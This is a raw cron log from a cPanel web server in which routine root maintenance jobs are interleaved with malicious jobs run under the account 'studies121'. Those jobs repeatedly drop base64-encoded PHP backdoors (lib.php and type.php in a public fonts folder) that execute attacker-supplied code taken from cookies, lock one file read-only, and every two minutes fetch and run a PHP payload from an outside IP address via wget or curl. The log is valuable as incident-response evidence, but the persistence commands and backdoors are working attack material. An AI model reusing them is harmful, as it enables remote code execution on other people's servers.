Sep 21 03:39:01 ip-184-168-122-23 CROND[24566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:39:01 ip-184-168-122-23 CROND[24565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:39:01 ip-184-168-122-23 CROND[24567]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 03:40:01 ip-184-168-122-23 CROND[24697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:40:01 ip-184-168-122-23 CROND[24698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:40:01 ip-184-168-122-23 CROND[24700]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 03:40:01 ip-184-168-122-23 CROND[24701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:40:01 ip-184-168-122-23 CROND[24703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:40:01 ip-184-168-122-23 CROND[24705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:40:01 ip-184-168-122-23 CROND[24706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:40:01 ip-184-168-122-23 CROND[24707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:41:01 ip-184-168-122-23 CROND[24930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:41:01 ip-184-168-122-23 CROND[24932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:41:01 ip-184-168-122-23 CROND[24933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:41:01 ip-184-168-122-23 CROND[24935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:42:01 ip-184-168-122-23 CROND[25051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:42:01 ip-184-168-122-23 CROND[25053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:42:01 ip-184-168-122-23 CROND[25055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:42:01 ip-184-168-122-23 CROND[25054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:42:01 ip-184-168-122-23 CROND[25056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:43:01 ip-184-168-122-23 CROND[25200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:43:01 ip-184-168-122-23 CROND[25201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:43:01 ip-184-168-122-23 CROND[25199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:43:01 ip-184-168-122-23 CROND[25202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:44:01 ip-184-168-122-23 CROND[25309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:44:01 ip-184-168-122-23 CROND[25311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:44:01 ip-184-168-122-23 CROND[25313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:44:01 ip-184-168-122-23 CROND[25315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:44:01 ip-184-168-122-23 CROND[25314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:45:01 ip-184-168-122-23 CROND[25408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:45:01 ip-184-168-122-23 CROND[25413]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:45:01 ip-184-168-122-23 CROND[25412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:45:01 ip-184-168-122-23 CROND[25411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:45:01 ip-184-168-122-23 CROND[25410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:45:01 ip-184-168-122-23 CROND[25414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:46:01 ip-184-168-122-23 CROND[25529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:46:01 ip-184-168-122-23 CROND[25531]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 03:46:01 ip-184-168-122-23 CROND[25534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:46:01 ip-184-168-122-23 CROND[25533]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:46:01 ip-184-168-122-23 CROND[25536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:46:01 ip-184-168-122-23 CROND[25535]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 03:46:01 ip-184-168-122-23 CROND[25537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:47:02 ip-184-168-122-23 CROND[25684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:47:02 ip-184-168-122-23 CROND[25685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:47:02 ip-184-168-122-23 CROND[25689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:47:02 ip-184-168-122-23 CROND[25688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:48:01 ip-184-168-122-23 CROND[25778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:48:01 ip-184-168-122-23 CROND[25781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:48:01 ip-184-168-122-23 CROND[25782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:48:01 ip-184-168-122-23 CROND[25783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:48:01 ip-184-168-122-23 CROND[25784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:49:01 ip-184-168-122-23 CROND[25871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:49:01 ip-184-168-122-23 CROND[25872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:49:01 ip-184-168-122-23 CROND[25875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:49:01 ip-184-168-122-23 CROND[25876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:50:01 ip-184-168-122-23 CROND[25978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:50:01 ip-184-168-122-23 CROND[25979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:50:01 ip-184-168-122-23 CROND[25982]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:50:01 ip-184-168-122-23 CROND[25980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:50:01 ip-184-168-122-23 CROND[25985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 03:50:01 ip-184-168-122-23 CROND[25984]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 03:50:01 ip-184-168-122-23 CROND[25987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:50:01 ip-184-168-122-23 CROND[25981]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:50:01 ip-184-168-122-23 CROND[25983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:51:02 ip-184-168-122-23 CROND[26187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:51:02 ip-184-168-122-23 CROND[26190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
